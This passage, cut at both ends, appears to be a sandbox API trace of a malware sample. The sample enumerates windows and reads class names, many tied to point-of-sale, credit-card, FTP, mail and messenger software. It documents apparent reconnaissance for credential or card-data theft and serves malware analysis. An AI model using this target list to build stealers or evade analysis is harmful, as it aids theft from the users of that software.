hWnd=0x202e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0238.330] GetClassNameA (in: hWnd=0x30308, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0238.330] GetClassNameA (in: hWnd=0x20332, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-007CCDB8-956e40d") returned 28 [0238.330] GetClassNameA (in: hWnd=0x40194, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0238.330] GetClassNameA (in: hWnd=0x5020c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.330] GetClassNameA (in: hWnd=0x1037a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="often_far_on_cls") returned 16 [0238.330] GetClassNameA (in: hWnd=0x10378, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="utg2_class") returned 10 [0238.330] GetClassNameA (in: hWnd=0x20210, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Senseunderstandwnd") returned 18 [0238.330] GetClassNameA (in: hWnd=0x10374, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spgagentservice_cls") returned 19 [0238.330] GetClassNameA (in: hWnd=0x10342, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0238.330] GetClassNameA (in: hWnd=0x10370, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0238.330] GetClassNameA (in: hWnd=0x10362, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="isspos_class") returned 12 [0238.330] GetClassNameA (in: hWnd=0x10334, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="active-charge_wnd") returned 17 [0238.331] GetClassNameA (in: hWnd=0x10366, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="mxslipstreamcls") returned 15 [0238.331] GetClassNameA (in: hWnd=0x1036a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="omnipos_wnd") returned 11 [0238.331] GetClassNameA (in: hWnd=0x1035c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fpos_cls") returned 8 [0238.331] GetClassNameA (in: hWnd=0x1032c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="winscp_") returned 7 [0238.331] GetClassNameA (in: hWnd=0x10356, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="edcsvr_app") returned 10 [0238.331] GetClassNameA (in: hWnd=0x10352, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="creditservice_class") returned 19 [0238.331] GetClassNameA (in: hWnd=0x10326, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_class") returned 20 [0238.331] GetClassNameA (in: hWnd=0x10388, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0238.331] GetClassNameA (in: hWnd=0x10316, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0238.331] GetClassNameA (in: hWnd=0x1034c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ccv_server_") returned 11 [0238.331] GetClassNameA (in: hWnd=0x10348, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="centralcreditcardwnd") returned 20 [0238.331] GetClassNameA (in: hWnd=0x10310, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="trillian_cls") returned 12 [0238.331] GetClassNameA (in: hWnd=0x10340, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="aldelowin") returned 9 [0238.331] GetClassNameA (in: hWnd=0x1030c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="smartftpcls") returned 11 [0238.331] GetClassNameA (in: hWnd=0x10336, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="accuposwin") returned 10 [0238.331] GetClassNameA (in: hWnd=0x10300, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="skype_win") returned 9 [0238.332] GetClassNameA (in: hWnd=0x10320, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="whatsappwindow") returned 14 [0238.332] GetClassNameA (in: hWnd=0x10312, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0238.332] GetClassNameA (in: hWnd=0x10302, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="scriptftpwindow") returned 15 [0238.332] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="outlook_win") returned 11 [0238.332] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="leechftp_class") returned 14 [0238.332] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="pidginwnd") returned 9 [0238.332] GetClassNameA (in: hWnd=0x102da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0238.332] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="operamail_cls") returned 13 [0238.332] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ncftpapp") returned 8 [0238.332] GetClassNameA (in: hWnd=0x102c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="flashfxp_win") returned 12 [0238.332] GetClassNameA (in: hWnd=0x102e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="notepad_win") returned 11 [0238.332] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="filezilla_") returned 10 [0238.332] GetClassNameA (in: hWnd=0x102ce, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="gmailnotifierpro_class") returned 22 [0238.332] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_win") returned 18 [0238.332] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0238.332] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fling_") returned 6 [0238.332] GetClassNameA (in: hWnd=0x102ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coreftpclass") returned 12 [0238.332] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="farwnd") returned 6 [0238.333] GetClassNameA (in: hWnd=0x102ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="bitkinex_wnd") returned 12 [0238.333] GetClassNameA (in: hWnd=0x102a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0238.333] GetClassNameA (in: hWnd=0x1029c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="3dftp_app") returned 9 [0238.333] GetClassNameA (in: hWnd=0x1029a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_window") returned 21 [0238.333] GetClassNameA (in: hWnd=0x10282, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Hundredmarriageclass") returned 20 [0238.333] GetClassNameA (in: hWnd=0x10272, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="causewnd") returned 8 [0238.333] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="walloil") returned 7 [0238.333] GetClassNameA (in: hWnd=0x10280, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="stock_Decide_Improve_cls") returned 24 [0238.333] GetClassNameA (in: hWnd=0x10270, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Green_hard_wind_wnd") returned 19 [0238.333] GetClassNameA (in: hWnd=0x10256, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="his_window") returned 10 [0238.333] GetClassNameA (in: hWnd=0x10254, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ProductRepublicanamountclass") returned 28 [0238.333] GetClassNameA (in: hWnd=0x10250, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="if_return_class") returned 15 [0238.333] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="FiveAddToowindow") returned 16 [0238.333] GetClassNameA (in: hWnd=0x10226, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="YardBeclass") returned 11 [0238.333] GetClassNameA (in: hWnd=0x10240, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="sourcewindow") returned 12 [0238.333] GetClassNameA (in: hWnd=0x10220, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shothotwnd") returned 10 [0238.333] GetClassNameA (in: hWnd=0x10242, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="on_Walk_cls") returned 11 [0238.333] GetClassNameA (in: hWnd=0x10234, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="chanceEverybodyemployeeclass") returned 28 [0238.334] GetClassNameA (in: hWnd=0x10236, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="right_Forget_win") returned 16 [0238.334] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coursesimilarAreacls") returned 20 [0238.334] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Instead_able_light_wnd") returned 22 [0238.334] GetClassNameA (in: hWnd=0x10218, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Account_") returned 8 [0238.334] GetClassNameA (in: hWnd=0x10216, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Task") returned 4 [0238.334] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplyOurstrategy") returned 16 [0238.334] GetClassNameA (in: hWnd=0x2013c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.334] GetClassNameA (in: hWnd=0x2012c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.334] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.334] GetClassNameA (in: hWnd=0x20132, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.334] GetClassNameA (in: hWnd=0x3002c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0238.334] GetClassNameA (in: hWnd=0x701f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.334] GetClassNameA (in: hWnd=0x2031c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.334] GetClassNameA (in: hWnd=0x501e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0238.334] GetClassNameA (in: hWnd=0x20144, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0238.334] GetClassNameA (in: hWnd=0x400f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0238.334] GetClassNameA (in: hWnd=0x801ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.334] GetClassNameA (in: hWnd=0x401fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.335] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.335] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.335] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.335] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0238.335] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.335] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0238.335] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0238.335] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.335] GetClassNameA (in: hWnd=0x10148, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0238.335] GetClassNameA (in: hWnd=0x10118, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0238.335] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.335] GetClassNameA (in: hWnd=0x10116, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0238.335] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.335] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.335] GetClassNameA (in: hWnd=0x10114, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0238.335] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0238.335] GetClassNameA (in: hWnd=0x100ee, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0238.335] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0238.336] GetClassNameA (in: hWnd=0x100e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.336] GetClassNameA (in: hWnd=0x100e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.336] GetClassNameA (in: hWnd=0x100de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.336] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0238.336] GetClassNameA (in: hWnd=0x100be, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0238.336] GetClassNameA (in: hWnd=0xb033e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0238.336] GetClassNameA (in: hWnd=0x20020, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0238.336] GetClassNameA (in: hWnd=0x30016, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0238.336] GetClassNameA (in: hWnd=0x20028, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0238.336] GetClassNameA (in: hWnd=0x2004a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0238.336] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0238.336] GetClassNameA (in: hWnd=0x10072, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0238.336] GetClassNameA (in: hWnd=0x1006e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0238.336] GetClassNameA (in: hWnd=0x10022, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0238.337] GetClassNameA (in: hWnd=0x10192, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0238.337] GetClassNameA (in: hWnd=0x3030e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0238.337] GetClassNameA (in: hWnd=0x100cc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0238.337] GetClassNameA (in: hWnd=0x10136, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x10178, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x10186, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0238.337] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x202e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x30296, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x103a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x103a6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x103a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x103a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x103a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x1039e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.337] GetClassNameA (in: hWnd=0x1039c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x1039a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x10398, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x10396, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x10394, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x10392, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x10390, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x1038e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x1038c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x1038a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x10386, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x10384, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x10382, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x10380, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x1037e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x1037c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x1036c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.338] GetClassNameA (in: hWnd=0x10360, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x10358, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x1034e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x10344, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x1033a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x10338, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x1032e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x1032a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x10322, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x1031a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x10318, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x10314, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x10306, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x102fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x102fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.339] GetClassNameA (in: hWnd=0x102ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x102de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x102c2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x102b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x10294, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x10292, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x10290, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x1028e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x1028c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x1028a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x10288, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x10286, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x10284, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x1027c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x10274, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.340] GetClassNameA (in: hWnd=0x1026e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.341] GetClassNameA (in: hWnd=0x10266, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x10260, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x10258, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x10252, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x10244, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x10222, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x4014e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0238.343] GetClassNameA (in: hWnd=0x100d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x6033c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.343] GetClassNameA (in: hWnd=0x20040, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.344] GetClassNameA (in: hWnd=0x10070, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0238.344] Sleep (dwMilliseconds=0x64) [0238.447] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0238.448] GetClassNameA (in: hWnd=0x100da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0238.448] GetClassNameA (in: hWnd=0x10134, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0238.448] GetClassNameA (in: hWnd=0x200f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0238.448] GetClassNameA (in: hWnd=0x10104, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.448] GetClassNameA (in: hWnd=0x10108, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.448] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.448] GetClassNameA (in: hWnd=0x10106, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.448] GetClassNameA (in: hWnd=0x10102, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0238.448] GetClassNameA (in: hWnd=0x10100, 